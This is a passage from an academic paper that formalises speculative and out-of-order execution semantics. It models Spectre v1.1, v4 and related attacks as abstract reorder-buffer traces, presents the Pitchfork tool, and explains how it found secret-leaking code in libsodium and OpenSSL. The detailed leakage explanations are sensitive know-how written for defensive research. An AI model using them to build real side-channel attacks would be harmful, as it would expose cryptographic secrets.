$$\frac{\begin{array}{c} \mathit{buf}(i) = \mathsf{store}(rv, \overrightarrow{rv}) \qquad \forall j < i : \mathit{buf}(j) \neq \mathsf{fence} \\ (\mathit{buf} +_i \rho)(\overrightarrow{rv}) = \overrightarrow{v_\ell} \qquad [\![\mathit{addr}(\overrightarrow{v_\ell})]\!] = a \qquad \ell_a = \sqcup \overrightarrow{\ell} \\ \forall k > i : \mathit{buf}(k) = (r = \ldots\{j_k, a_k\}) : \\ (a_k = a \Rightarrow j_k \geq i) \ \wedge \ (j_k = i \Rightarrow a_k = a) \\ \mathit{buf}' = \mathit{buf}[i \mapsto \mathsf{store}(rv, a_{\ell_a})] \end{array}}{(\rho, \mu, n, \mathit{buf}) \xhookrightarrow[\text{execute } i:\text{addr}]{\texttt{fwd } a_{\ell_a}} (\rho, \mu, n, \mathit{buf}')}$$

STORE-EXECUTE-ADDR-HAZARD

$$\frac{\begin{array}{c} \mathit{buf}(i) = \mathsf{store}(rv, \overrightarrow{rv}) \qquad \forall j < i : \mathit{buf}(j) \neq \mathsf{fence} \\ (\mathit{buf} +_i \rho)(\overrightarrow{rv}) = \overrightarrow{v_\ell} \qquad [\![\mathit{addr}(\overrightarrow{v_\ell})]\!] = a \qquad \ell_a = \sqcup \overrightarrow{\ell} \\ \mathit{min}(k) > i : \mathit{buf}(k) = (r = \ldots\{j_k, a_k\})^{n_k} : \\ (a_k = a \wedge j_k < i) \ \vee \ (j_k = i \wedge a_k \neq a) \\ \mathit{buf}' = \mathit{buf}[j : j < k][i \mapsto \mathsf{store}(rv, a_{\ell_a})] \end{array}}{(\rho, \mu, n, \mathit{buf}) \xhookrightarrow[\text{execute } i:\text{addr}]{\texttt{rollback}, \texttt{fwd } a_{\ell_a}} (\rho, \mu, n_k, \mathit{buf}')}$$

The execution of store is split into two steps: value resolution, represented by the directive execute i : value, and address resolution, represented by the directive execute i : addr. As the order of execution is determined by the directives, a schedule is free to determine whether to resolve address or data first. Either step may be skipped, if data or address are already in immediate form.

Rule STORE-EXECUTE-ADDR-OK applies if no misprediction has been detected, i.e., if no load instruction forwarded data from an outdated store. This is checked by requiring that all value instructions *after* the current index (indices $k > i$) with an address a matching the current store must be using a value forwarded from a store *at least as recent* as this one ($a_k = a \Rightarrow j_k \geq i$). For this check, we define $\bot < n$, for any index n. That is, if a future load matches addresses with the current store but took its value from memory, it is always considered a hazard.

If there was indeed a hazard, i.e., if there was a resolved load with an outdated value, the rule STORE-EXECUTE-ADDR-HAZARD picks the *earliest* such instruction (index k) and restarts execution by resetting the instruction pointer to the program point n_k of this instruction. It then discards all transient instructions at indices at least k from the reorder buffer. As in the case of misspeculation, the rule issues a `rollback` observation.

Retire. Resolved loads are retired using the following rule.

VALUE-RETIRE

$$\frac{\begin{array}{c} \mathsf{MIN}(\mathit{buf}) = i \qquad \mathit{buf}(i) = (r = v_\ell) \\ \rho' = \rho[r \mapsto v_\ell] \qquad \mathit{buf}' = \mathit{buf} \setminus \mathit{buf}(i) \end{array}}{(\rho, \mu, n, \mathit{buf}) \xhookrightarrow[\text{retire}]{} (\rho', \mu, n, \mathit{buf}')}$$

This is the same retire rule used for simple value instructions (e.g., resolved op instructions). The register map ρ is updated with the new value, and the instruction is removed from the reorder buffer.

Registers	$\rho(r_a) = 40_{\text{pub}}$
Directives	D= execute $\overline{4}$; execute $\overline{3}$: addr
Leakage for D	`fwd` 43_{pub}; `rollback`, `fwd` 43_{pub}

starting *buf*	*buf* after execute $\overline{4}$	*buf* after D
$\overline{2}$ store$(12, 43_{\text{pub}})$	$\overline{2}$ store$(12, 43_{\text{pub}})$	$\overline{2}$ store$(12, 43_{\text{pub}})$
$\overline{3}$ store$(20, [3, r_a])$	$\overline{3}$ store$(20, [3, r_a])$	$\overline{3}$ store$(20, 43_{\text{pub}})$
$\overline{4}$ $(r_c = \text{load}([43]))$	$\overline{4}$ $(r_c = 12\{\overline{2}, 43\})$	

Figure 5. Store hazard caused by late execution of store addresses. The store address for $\overline{3}$ is resolved too late, causing the later load instruction to forward from the wrong store. When $\overline{3}$'s address is resolved, the execution must be rolled back. In this example, $[\![addr(\cdot)]\!]$ adds its arguments.

Registers

r	$\rho(r)$
r_a	5_{pub}
r_b	x_{sec}

Memory

a	$\mu(a)$
`40..43`	$secretKey_{\text{sec}}$
`44..47`	$pubArrA_{\text{pub}}$
`48..4B`	$pubArrB_{\text{pub}}$

Reorder buffer

i	$buf(i)$
$\overline{1}$	br$(>, (4, r_a), \underline{2}, (\underline{2}, \underline{4}))$
$\overline{2}$	store$(r_b, [40, r_a])$
	$\ldots$
$\overline{7}$	$(r_c = \text{load}([45]))$
$\overline{8}$	$(r_c = \text{load}([48, r_c]))$

Directive	Effect on *buf*	Leakage
execute $\overline{2}$: addr	$\overline{2} \mapsto \text{store}(r_b, 45_{\text{pub}})$	`fwd` 45_{pub}
execute $\overline{2}$: value	$\overline{2} \mapsto \text{store}(x_{\text{sec}}, 45_{\text{pub}})$	
execute $\overline{7}$	$\overline{7} \mapsto (r_c = x_{\text{sec}}\{\overline{2}, 45\})$	`fwd` 45_{pub}
execute $\overline{8}$	$\overline{8} \mapsto (r_c = X\{\bot, a\})$	`read` a_{sec}

where $a = x_{\text{sec}} + 48$

Figure 6. Example demonstrating a store-to-load Spectre v1.1 attack. A speculatively stored value is forwarded and then leaked using a subsequent load instruction.

Stores are retired using the rule below.

STORE-RETIRE

$$\frac{\begin{array}{cc} \mathsf{MIN}(buf) = i & buf(i) = \text{store}(v_\ell, a_{\ell_a}) \\ \mu' = \mu[a \mapsto v_\ell] & buf' = buf \setminus buf(i) \end{array}}{(\rho, \mu, n, buf) \xhookrightarrow[\text{retire}]{\texttt{write}\ a_{\ell_a}} (\rho, \mu', n, buf')}$$

A fully resolved store instruction retires similarly to a value instruction. Instead of updating the register map ρ, rule STORE-RETIRE updates the memory. Since memory writes are observable to an attacker, the rule produces an observation of `write` a_{ℓ_a} containing the store's address and label.

Examples. Figure 5 gives an example of store-to-load forwarding. In the starting configuration, the store at index $\overline{2}$ is fully resolved, while the store at index $\overline{3}$ has an unresolved address. The first step of the schedule executes the load at $\overline{4}$. This load accesses address 43, which matches the store at index $\overline{2}$. Since this is the most recent such store and has a resolved value, the load gets the value 12 from this store. The following step resolves the address of the store at index $\overline{3}$. This store also matches address 43. As it is more recent than store $\overline{2}$, this triggers a hazard for the load at $\overline{3}$, leading to the rollback of the load from the reorder buffer.

Registers

r	$\rho(r)$
r_a	40_{pub}

Memory

a	$\mu(a)$
`40..43`	$secretKey_{\text{sec}}$
`44..47`	$pubArrA_{\text{pub}}$

Reorder buffer

i	$buf(i)$
$\overline{2}$	store$(0, [3, r_a])$
$\overline{3}$	$(r_c = \text{load}([43]))$
$\overline{4}$	$(r_c = \text{load}([44, r_c]))$

Directive	Effect on *buf*	Leakage
execute $\overline{3}$	$\overline{3} \mapsto (r_c = secretKey[3]\{\bot, 43\})$	`read` 43_{pub}
execute $\overline{4}$	$\overline{4} \mapsto (r_c = X\{\bot, a\})$	`read` a_{sec}
execute $\overline{2}$: addr	$\{\overline{3}, \overline{4}\} \notin buf$ $\overline{2} \mapsto \text{store}(0, 43_{\text{pub}})$	`rollback`, `fwd` 43_{pub}

where $a = secretKey[3]_{\text{sec}} + 44$

Figure 7. Example demonstrating a v4 Spectre attack. The store is executed too late, causing later load instructions to use outdated values.

Spectre examples. We now have enough machinery to capture several variants of Spectre attacks.

We discussed how our semantics model Spectre v1 in Section 2 (Figure 1). Figure 6 shows a simple disclosure gadget using forwarding from an out-of-bounds write. In this example, a secret value x_{sec} is supposed to be written to *secretKey* at an index r_a as long as r_a is within bounds. However, due to branch misprediction, the store instruction is executed despite r_a being too large. The load instruction at index $\overline{7}$, normally benign, now aliases with the store at index $\overline{2}$, and receives the secret x_{sec} instead of a public value from *pubArrA*. This value is then used as the address of another load instruction, causing x_{sec} to leak.

Figure 7 shows a Spectre v4 vulnerability caused when a store *fails* to forward to a future load. In this example, the load at index $\overline{3}$ executes before the store at $\overline{2}$ calculates its address. As a result, this schedule loads the outdated secret value at address 43 and leaks it, instead of using the public zeroed-out value that would be written.

3.5 Aliasing prediction

We extend the memory semantics from the previous to model aliasing prediction by introducing a new transient instruction $(r = \text{load}(\overrightarrow{rv}, (v_\ell, j)))^n$ which represents a partially resolved load with speculatively forwarded data. As before, r is the target register and $\overrightarrow{rv}$ is the list of arguments for address calculation. The new parameters are v_ℓ, the forwarded data, and j, the buffer index of the originating store.

Forwarding via prediction.

LOAD-EXECUTE-FORWARDED-GUESSED

$$\frac{\begin{array}{c} buf(i) = (r = \mathsf{load}(\overrightarrow{rv}))^n \qquad j < i \\ \forall k < i : buf(k) \neq \mathsf{fence} \qquad buf(j) = \mathsf{store}(v_\ell, \overrightarrow{rv}_j) \\ buf' = buf[i \mapsto (r = \mathsf{load}(\overrightarrow{rv}, (v_\ell, j)))^n] \end{array}}{(\rho, \mu, n, buf) \xhookrightarrow[\texttt{execute } i:\texttt{fwd}\, j]{} (\rho, \mu, n, buf')}$$

Rule LOAD-EXECUTE-FORWARDED-GUESSED implements forwarding in the presence of unresolved target addresses. Instead of forwarding the value from the latest resolved store to the same address, as in Section 3.4, the attacker can now freely choose to forward from *any* store with a resolved value—even if its target address is not known yet. Given a choice which store j to forward from—supplied via directive—the rule updates the reorder buffer with the new partially resolved load and records both the forwarded value v_l and the buffer index j of the store instruction.

Register resolve function. We extend the register resolve function $(. +_{.} .)()$ to allow using values from partially resolved loads. In particular, whenever the register resolve function computes the latest resolved assignment to some register r, it now considers not only fully resolved value instructions, but also our new partially resolved load: whenever the latest assignment in the buffer is a partially resolved load, the register resolve function returns its value.

We now discuss the execution rules, where partially resolved loads may fully resolve against either the originating store or against memory.

Resolving when originating store is in the reorder buffer.

LOAD-EXECUTE-ADDR-OK

$$\frac{\begin{array}{c} buf(i) = (r = \mathsf{load}(\overrightarrow{rv}, (v_\ell, j)))^n \\ (buf +_i \rho)(\overrightarrow{rv}) = \overrightarrow{v_\ell} \qquad [\![addr(\overrightarrow{v_\ell})]\!] = a \\ \ell_a = \sqcup\overrightarrow{\ell} \qquad buf(j) = \mathsf{store}(v_\ell, \overrightarrow{rv}_j) \wedge (\overrightarrow{rv}_j = a' \Rightarrow a' = a) \\ \forall k : (j < k < i) : buf(k) \neq \mathsf{store}(\_, a) \\ buf' = buf[i \mapsto (r = v_\ell\{j, a\})^n] \end{array}}{(\rho, \mu, n, buf) \xhookrightarrow[\texttt{execute } i]{\texttt{fwd } a_{\ell_a}} (\rho, \mu, n, buf')}$$

LOAD-EXECUTE-ADDR-HAZARD

$$\frac{\begin{array}{c} buf(i) = (r = \mathsf{load}(\overrightarrow{rv}, (v_\ell, j)))^{n'} \\ (buf +_i \rho)(\overrightarrow{rv}) = \overrightarrow{v_\ell} \qquad [\![addr(\overrightarrow{v_\ell})]\!] = a \\ \ell_a = \sqcup\overrightarrow{\ell} \qquad (buf(j) = \mathsf{store}(v_\ell, a') \wedge a' \neq a) \vee \\ (\exists k : j < k < i \wedge buf(k) = \mathsf{store}(\_, a)) \\ buf' = buf[j : j < i] \end{array}}{(\rho, \mu, n, buf) \xhookrightarrow[\texttt{execute } i]{\texttt{rollback,fwd } a_{\ell_a}} (\rho, \mu, n', buf')}$$

To resolve $(r = \mathsf{load}(\overrightarrow{rv}, (v_\ell, j)))^n$ when its originating store is still in buf, we calculate the load's actual target address a and compare it against the target address of the originating store at $buf(j)$. If the store is not followed by later stores to a, and either **(1)** the store's address is resolved and its address is indeed a, or **(2)** the store's address is still unresolved, we update the reorder buffer with an annotated value instruction (rule LOAD-EXECUTE-ADDR-OK).

If, however, either the originating store resolved to a *different* address (mispredicted aliasing) or a later store resolved to the same address (hazard), we roll back our execution to just before the load (rule LOAD-EXECUTE-ADDR-HAZARD).

We allow the load to execute even if the originating store has not yet resolved its address. When the store does finally resolve its address, it must check that the addresses match and that the forwarding was correct. The gray formulas in STORE-EXECUTE-ADDR-OK and STORE-EXECUTE-ADDR-HAZARD (Section 3.4) perform these checks: For forwarding to be correct, all values forwarded from a store at $buf(i)$ must have a matching annotated address ($\forall k > i : j_k = i \Rightarrow a_k = a$). Otherwise, if any value annotation has a mismatched address, then the instruction is rolled back ($j_k = i \wedge a_k \neq a$).

Resolving when originating store is not in the buffer. We must also consider the case where we have delayed resolving the load address to the point where the originating store has already retired, and is no longer available in buf. If this is the case, and no other prior store instructions have a matching address, then we must check the forwarded data against memory.

LOAD-EXECUTE-ADDR-MEM-MATCH

$$\frac{\begin{array}{c} buf(i) = (r = \mathsf{load}(\overrightarrow{rv}, v_\ell, j))^n \\ j \notin buf \qquad (buf +_i \rho)(\overrightarrow{rv}) = \overrightarrow{v_\ell} \qquad \ell_a = \sqcup\overrightarrow{\ell} \\ [\![addr(\overrightarrow{v_\ell})]\!] = a \qquad \forall k < i : buf(k) \neq \mathsf{store}(\_, a) \\ \mu(a) = v_\ell \qquad buf' = buf[i \mapsto (r = v_\ell\{\bot, a\})^n] \end{array}}{(\rho, \mu, n, buf) \xhookrightarrow[\texttt{execute } i]{\texttt{read } a_{\ell_a}} (\rho, \mu, n, buf')}$$

LOAD-EXECUTE-ADDR-MEM-HAZARD

$$\frac{\begin{array}{c} buf(i) = (r = \mathsf{load}(\overrightarrow{rv}, v_\ell, j))^{n'} \\ j \notin buf \qquad (buf +_i \rho)(\overrightarrow{rv}) = \overrightarrow{v_\ell} \qquad \ell_a = \sqcup\overrightarrow{\ell} \\ [\![addr(\vec{v}_\ell)]\!] = a \qquad \forall k < i : buf(k) \neq \mathsf{store}(\_, a) \\ \mu(a) = v'_{\ell'} \qquad v'_{\ell'} \neq v_\ell \qquad buf' = buf[j : j < i] \end{array}}{(\rho, \mu, n, buf) \xhookrightarrow[\texttt{execute } i]{\texttt{rollback,read } a_{\ell_a}} (\rho, \mu, n', buf')}$$

If the originating store has retired, and no intervening stores match the same address, we must load the value from memory to ensure we were originally forwarded the correct value. If the value loaded from memory matches the value we were forwarded, we update the reorder buffer with a resolved load annotated as if it had been loaded from memory (rule LOAD-EXECUTE-ADDR-MEM-MATCH).

If a store *different* from the originating store overwrote the originally forwarded value, the value loaded from memory may not match the value we were originally forwarded. In this case we roll back execution to just before the load (rule LOAD-EXECUTE-ADDR-MEM-HAZARD).

We demonstrate these semantics in the Spectre-MOB attack shown in Figure 2.

Before executing $\overline{1}$		After	
i	$buf[i]$	i	$buf[i]$
$\overline{1}$	br(>, $(4, r_a)$, $\underline{2}$, $(\underline{2}, \underline{5})$)	$\overline{1}$	jump $\underline{5}$
$\overline{2}$	fence		
$\overline{3}$	$(r_b = \mathsf{load}([40, r_a]))$		
$\overline{4}$	$(r_c = \mathsf{load}([44, r_b]))$		

Figure 8. Example demonstrating fencing mitigation against Spectre v1 attacks. The fence instruction prevents the load instructions from executing before the br.

3.6 Speculation barriers

We include in our semantics a *speculation barrier* instruction, fence n, that prevents further speculative execution until all prior instructions have been retired.

FENCE-RETIRE

$$\frac{\mathsf{MIN}(buf) = i \qquad buf(i) = \mathsf{fence} \qquad buf' = buf \setminus buf(i)}{(\rho, \mu, n, buf) \xhookrightarrow[\mathsf{retire}]{} (\rho, \mu, n, buf')}$$

The fence instruction uses SIMPLE-FETCH as its fetch rule, and its rule for retire only removes the instruction from the buffer. It does not have an execute stage. However, fence instructions affect the execution of all instructions in the reorder buffer that come *after* them. In prior sections, all initial execute stage rules have the highlighted condition $\forall j < i : buf(j) \neq \mathsf{fence}$. This condition ensures that as long as a fence instruction remains un-retired in *buf*, any instructions fetched after the fence cannot be executed.

With this property, we can use fence instructions to restrict out-of-order execution in our semantics. Notably, we can use it to prevent the attacks of the forms shown in Figures 1, 6 and 7.

Examples. The example in Figure 8 shows how placing a fence instruction just after the br instruction prevents the Spectre v1 attack from Figure 1. The fence in this example prevents the load instructions at $\overline{2}$ and $\overline{3}$ from executing and forces the br to be resolved first. The misprediction is caught, and the two loads (as well as the fence) are rolled back.

3.7 Indirect jumps and return address prediction

Finally, we briefly discuss two further extensions to our semantics. First, we extend our semantics with *indirect jumps*. Rather than specifying jump targets *directly* as with the br instruction in Section 3.3, indirect jumps compute the target from a list of argument operands. The indirect jump instruction has the form $\mathsf{jmpi}(\overrightarrow{rv})$, where $\overrightarrow{rv}$ is the list of operands for calculating the jump target. The transient form of jmpi is $\mathsf{jmpi}(\overrightarrow{rv}, n_0)$, where n_0 is the predicted jump target. To fetch a jmpi instruction, the schedule must issue a new directive, fetch: n', where n' is the speculated jump target. In all other respects, the rules for indirect jump instructions are similar to the rules for conditional branches.

Second, we extend our semantics with *call* and *ret* instructions. The call instruction has the form $\mathsf{call}(n_f, n_{ret})$, where n_f is the callee program point, and n_{ret} is the program point to return to. The return instruction is simply ret. Both the call and ret instructions have the simple transient forms call and ret. However, when fetched, they are unpacked into multiple transient instructions: Fetching a call produces the call transient instruction as well as an increment to a stack pointer and a store of the return program point to memory, while fetching a ret produces a corresponding load, decrement, and jump in addition to the ret transient instruction. The call and ret instructions correspondingly push and pop program points to an additional configuration state representing the *return stack buffer* (RSB). The RSB is used to predict the new program point upon fetching a ret.

In Appendix A, we present detailed rules for indirect jumps, calls, and returns. We also show how both Spectre v2 [21] and ret2spec [23] attacks can be expressed in our semantics, as well as the *retpoline* mitigation [32] against Spectre v2 attacks.

4 Detecting violations

We use our semantics to develop an algorithm which checks for SCT violations. Given a program, our algorithm generates a set of schedules representing various "worst-case" attackers, and then checks for secret leakage in the program by symbolically executing the program under each schedule. The algorithm is parametrized by a *speculation bound*, which limits the size of the reorder buffer (and thus the depth of speculation). The set of algorithm schedules is far smaller than the set of all possible schedules for the program, but is nonetheless sound: if there is an SCT violation in any possible schedule, then there will be an SCT violation in one of the algorithm's "worst-case" schedules.

Our algorithm only exercises a subset of our semantics; we do not detect SCT violations based on alias prediction, indirect jumps, or return stack buffers (Sections 3.5 and 3.7). Doing so would require us to generate an unscalably large number of schedules. However, our algorithm still exposes attacks based on Spectre variants 1, 1.1, and 4. We give intuition for the soundness of the algorithm, and evaluate an implementation.

4.1 Algorithm overview

The schedules our algorithm constructs do not retire any instructions until the reorder buffer is "full"—i.e., the size of the reorder buffer is at the speculation bound. Once the reorder buffer is full, we only retire instructions as necessary to fetch new ones.

When conditional branches are to be fetched, we construct two sets of schedules: one where the branch is guessed true (fetch: true) and one where the branch is guessed false (fetch: false). Schedules with mispredicted branches will execute the branch as late as possible (i.e., it is the oldest instruction in the reorder buffer and the reorder buffer is full), maximizing the lengths of mispredicted paths.

To account for the load-store forwarding hazards described in Section 3.4, for every load instruction in the program, we find all prior stores (within the speculation bound) that would resolve to the same address. For each such store, we construct a schedule that would cause that store to forward its data to the load. That is, if l is the just-fetched load and $s_1, s_2, \ldots$ are the prior stores to the same address, we construct separate schedules [execute s_1 : addr; execute l], [execute s_2 : addr; execute l], and so on. Additionally, we construct a schedule where no prior stores s_i have resolved addresses, so that the load instruction is forced to read from memory (rule LOAD-EXECUTE-NODEP). This ensures that we consider all possible correct *and* incorrect forwarding cases.

Reorderings of instructions other than conditional branches and load/stores are uninteresting: either the instructions naturally commute, or data dependencies prevent the reordering (i.e., the reordered schedule is invalid for the program). This intuition matches with the property that any out-of-order execution of a given program has the same final result regardless of its schedule. Our algorithm therefore only constructs schedules where these instructions are executed eagerly and in order.

4.2 Implementation and evaluation

We develop Pitchfork, an implementation of our algorithm on top of the angr binary-analysis tool [31]. To sanity check Pitchfork, we create and analyze a set of Spectre v1 and v1.1 test cases, and ensure we flag vulnerable instructions. Our test cases are based off the well-known Kocher Spectre v1 examples [19]. Since many of the Kocher examples exhibit violations even during sequential execution, we created a new set of Spectre v1 test cases which do not exhibit violations when executed sequentially. We also developed a similar set of test cases for Spectre v1.1 data attacks.

Pitchfork necessarily inherits the limitations of angr's symbolic execution. For instance, angr concretizes addresses for memory operations instead of keeping them symbolic. Nonetheless, Pitchfork correctly finds SCT violations in all our test cases, as well as SCT violations in real-world crypto code.

4.2.1 Evaluation procedure

To evaluate Pitchfork on real-world crypto implementations, we use the same case studies as FaCT [6], a domain-specific language and compiler for constant-time crypto code. We use FaCT's case studies for two reasons: these implementations have been verified to be (sequentially) constant-time, and their inputs have already been annotated by the FaCT authors with secrecy labels.[3]

Table 2. A 👻 indicates Pitchfork found an SCT violation. A 👻^{f} indicates the violation was found only with forwarding hazard detection.

Case Study	C	FaCT
curve25519-donna	✓	✓
libsodium secretbox	👻	✓
OpenSSL ssl3 record validate	👻	👻^{f}
OpenSSL MEE-CBC	👻	👻^{f}

For each implementation, we analyzed both the FaCT-generated binary and the corresponding C binary. In each experiment, we ran Pitchfork with just mispredicted branch checking—i.e., only looking for Spectre v1 and v1.1 violations—with a speculation bound of 250 instructions. If the tool did not flag any violations, we additionally ran it with forwarding hazard checking and a reduced bound of 20 instructions, looking for Spectre v4 violations. The reduced bound is necessary due to the blowup in the number of constructed schedules when checking forwarding hazards.

4.2.2 Detected violations

Table 2 shows our results. Pitchfork did not flag any SCT violations in the curve25519-donna implementation; this is not surprising, as the curve25519-donna library is a straightforward implementation of crypto primitives. We do, however, find SCT violations in both the libsodium and OpenSSL codebases. When running without forwarding hazard detection, we only found violations in the C implementations, in code ancillary to the core crypto routines; the vulnerable functions were not present in the corresponding FaCT implementations. This aligns with our intuition that crypto primitives will not themselves be vulnerable to Spectre attacks, but higher level code that interfaces with these primitives may still leak secrets. With forwarding hazard detection turned on, we were able to find vulnerabilities even in the FaCT versions of the OpenSSL implementations. We describe two of the violations in detail below.

C libsodium secretbox. The libsodium codebase compiles with stack protection [12] turned on by default. On functions with "vulnerable" buffers, the compiler (e.g., gcc or clang) instruments the function to check whether the stack has been tampered with just before the function returns. If so, the program displays an error message and aborts. As part of printing the error message, the program calls a function __libc_message, which does printf-style string formatting.

[3] https://github.com/PLSysSec/fact-eval

[4] Code snippet taken from https://github.com/lattera/glibc/blob/895ef79e04a953cac1493863bcae29ad85657ee1/sysdeps/posix/libc_fatal.c

```
1  for (int cnt = nlist - 1; cnt >= 0; --cnt) {
2    iov[cnt].iov_base = (char *) list->str;
3      // ...
4    list = list->next;
5  }
```

Figure 9. Vulnerable snippet from `__libc__message()`.[4]

```
1  aesni_cbc_encrypt(/* ... */);
2  // (len _out) is in %r14
3  secret mut uint32 pad = _out[len _out - 1];
4  public uint32 maxpad = tmppad > 255 ? 255 : tmppad;
5  if (pad > maxpad) {
6    pad = maxpad;
7    ret = 0; // overwrites %r14
8  }
9  // ...
10 _sha1_update(/* ... */); // can return to line 3
```

Figure 10. Vulnerable snippet from FaCT OpenSSL MEE implementation.[5]

Figure 9 shows a snippet from this function which traverses a linked list. When running the C `secretbox` implementation speculatively, it is possible to misspeculate on the stack tampering check and jump into the error handling code, eventually calling `__libc_message`. Again due to misspeculation, the program can incorrectly proceed through the loop extra times, traversing non-existent links, eventually causing secret data to be stored into `list` instead of a valid address (line 4). On the following iteration of the loop, the dereference of `list` at line 2 causes a secret-dependent memory access.

FaCT OpenSSL MEE. When checking for forwarding hazards, Pitchfork allows load instructions to speculatively receive data from stores *older* than the most recent store to the same address (see Section 3.4). Thus, when a function returns, it is possible for the `ret` instruction to use a stale return address, similar to the attack described in [18].

In Figure 10, we show the code from the FaCT port of OpenSSL's authenticated encryption implementation. Here, the length of the array `_out` on line 3 is kept in register `%r14`. Since `pad` is `secret`, the FaCT compiler transforms the branch at lines 5-7 into straight-line constant-time code. Thus on line 7, the value of `%r14` is overwritten with `0` if `pad > maxpad`, or 1 (the initial value of `ret`) otherwise.

When the call to `_sha1_update` returns, it loads a stale return address. Speculative control flow is thus transferred to the prior location that was stored in memory: the return address for the call to `aesni_cbc_encrypt`. Line 3 is executed a second time, but now `%r14` does not hold the public value `len _out`; it instead holds the value of `ret`, which is now derived from the secret condition `pad > maxpad`. Line 3 then accesses either `_out[0]` or `_out[-1]`, leaking information about the secret value of `pad` via cache state.

5 Related work

Disselkoen et al. [10] explore speculation and out-of-order effects through a relaxed memory model. Their semantics sits at a higher level, and is orthogonal to our approach. They do not define a semantic notion of security that prevents Spectre-like attacks, and do not provide support for verification.

Mcilroy et al. [24] use a multi-stage pipeline semantics to reason about micro-architectural attacks. Their semantics models branch predictor and cache state explicitly. However, they do not model the effects of speculative barriers, nor other microarchitecture features such as store-forwarding. Therefore their semantics can only model Spectre v1 attacks. Their notion of security is based on a step-timer which counts numbers of execution steps. Unfortunately, this style of security is insufficient for crypto libraries.

Both Guarnieri et al. [14] and Cheang et al. [7] define speculative semantics. Both semantics only handle speculation through branch prediction, where the predictor is left abstract, and do not allow for general out-of-order execution nor other types of speculation. They also propose (different) semantic notions of security, which require that speculative execution does not leak more than sequential execution. Our security notion is stronger, and addresses more directly the requirements for cryptographic code. Both works are supported by tools.

Balliu et al. [3] define a semantics in a style that is similar to ours. Their semantics captures a wide variety of Spectre class attacks, including an attack similar to Spectre-MOB, and a new attack based on their memory ordering semantics, which we do not capture. However, the attacks presented in their paper are theoretical; they do not validate these attacks experimentally nor build a checking tool on top of their model.

In addition, several tools detect Spectre vulnerabilities, but do not present semantics [34, 36].

6 Conclusion

We have introduced a tractable semantics for reasoning about side-channels under adversarially controlled out-of-order and speculative execution. We have used our semantics to discover Spectre-MOB, a new class of Spectre attack. Moreover we have defined speculative constant-time (SCT), which provides strong guarantees over all possible attackers. Finally, we have developed a prototype to check SCT on real-world crypto libraries, and discovered new vulnerabilities.

There are several directions for future work. Our immediate plan is to use our semantics for proving the effectiveness

[5] Code snippet taken from https://github.com/PLSysSec/fact-eval/blob/888bc6c6898a06cef54170ea273de91868ea621e/openssl-mee/20170717_latest.fact

of existing countermeasures (e.g., retpolines), and to justify new countermeasures.

Acknowledgments

We thank Natalie Popescu for her aid in editing and formatting this paper. This work was supported in part by the CONIX Research Center, one of six centers in JUMP, a Semiconductor Research Corporation (SRC) program sponsored by DARPA.

References

[1] 2016. Coding Rules. https://cryptocoding.net/index.php/Coding_rules. Retrieved June 9, 2017 from https://cryptocoding.net/index.php/Coding_rules

[2] 2019. mbed TLS. https://github.com/armmbed/mbedtls. Retrieved May 16, 2018 from https://github.com/armmbed/mbedtls

[3] Musard Balliu, Mads Dam, and Roberto Guanciale. 2019. InSpectre: Breaking and Fixing Microarchitectural Vulnerabilities by Formal Analysis. arXiv:cs.CR/1911.00868

[4] Gilles Barthe, Gustavo Betarte, Juan Campo, Carlos Luna, and David Pichardie. 2014. System-level non-interference for constant-time cryptography. In *Proceedings of the 2014 ACM SIGSAC Conference on Computer and Communications Security*. ACM, 1267–1279.

[5] Claudio Canella, Jo Van Bulck, Michael Schwarz, Moritz Lipp, Benjamin von Berg, Philipp Ortner, Frank Piessens, Dmitry Evtyushkin, and Daniel Gruss. 2018. A Systematic Evaluation of Transient Execution Attacks and Defenses. *CoRR* abs/1811.05441 (2018). arXiv:1811.05441 http://arxiv.org/abs/1811.05441

[6] Sunjay Cauligi, Gary Soeller, Brian Johannesmeyer, Fraser Brown, Riad S. Wahby, John Renner, Benjamin Gregoire, Gilles Barthe, Ranjit Jhala, and Deian Stefan. 2019. FaCT: A DSL for timing-sensitive computation. In *Programming Language Design and Implementation (PLDI)*. ACM SIGPLAN.

[7] Kevin Cheang, Cameron Rasmussen, Sanjit Seshia, and Pramod Subramanyan. 2019. A Formal Approach to Secure Speculation. Cryptology ePrint Archive, Report 2019/310. https://eprint.iacr.org/2019/310.

[8] Tien-Fu Chen and Jean-Loup Baer. 1992. Reducing Memory Latency via Non-blocking and Prefetching Caches. *Fifth International Conference on Architectural Support for Programming Languages and Operating Systems* (1992).

[9] Frank Denis. 2019. libsodium. https://github.com/jedisct1/libsodium. Retrieved May 16, 2018 from https://github.com/jedisct1/libsodium

[10] Craig Disselkoen, Radha Jagadeesan, Alan Jeffrey, and James Riely. 2019. The Code That Never Ran: Modeling Attacks on Speculative Evaluation. In *S&P 2019*.

[11] Dmitry Evtyushkin, Ryan Riley, Nael CSE Abu-Ghazaleh, ECE, and Dmitry Ponomarev. 2018. BranchScope: A New Side-Channel Attack on Directional Branch Predictor. In *Proceedings of the Twenty-Third International Conference on Architectural Support for Programming Languages and Operating Systems (ASPLOS '18)*. ACM, New York, NY, USA, 693–707. https://doi.org/10.1145/3173162.3173204

[12] GCC Team. 2019. Using the GNU Compiler Collection (GCC): Instrumentation Options. Retrieved November 21, 2019 from https://gcc.gnu.org/onlinedocs/gcc/Instrumentation-Options.html

[13] Qian Ge, Yuval Yarom, David Cock, and Gernot Heiser. 2018. A survey of microarchitectural timing attacks and countermeasures on contemporary hardware. *Journal of Cryptographic Engineering* 8, 1 (2018), 1–27.

[14] Marco Guarnieri, Boris Köpf, José F. Morales, Jan Reineke, and Andrés Sánchez. 2018. SPECTECTOR: Principled Detection of Speculative Information Flows. *CoRR* abs/1812.08639 (2018). arXiv:1812.08639 http://arxiv.org/abs/1812.08639

[15] Jann Horn. 2018. Issue 1528: speculative execution, variant 4: speculative store bypass. https://bugs.chromium.org/p/project-zero/issues/detail?id=1528

[16] Intel Corporation. 2018. Speculative Execution Side Channel Mitigations. Retrieved November 21, 2019 from https://software.intel.com/security-software-guidance/api-app/sites/default/files/336996-Speculative-Execution-Side-Channel-Mitigations.pdf

[17] Saad Islam, Ahmad Moghimi, Ida Bruhns, Moritz Krebbel, Berk Gülmezoglu, Thomas Eisenbarth, and Berk Sunar. 2019. SPOILER: Speculative Load Hazards Boost Rowhammer and Cache Attacks. *CoRR* abs/1903.00446 (2019). arXiv:1903.00446 http://arxiv.org/abs/1903.00446

[18] Vladimir Kiriansky and Carl Waldspurger. 2018. Speculative Buffer Overflows: Attacks and Defenses. *CoRR* abs/1807.03757 (2018). arXiv:1807.03757 http://arxiv.org/abs/1807.03757

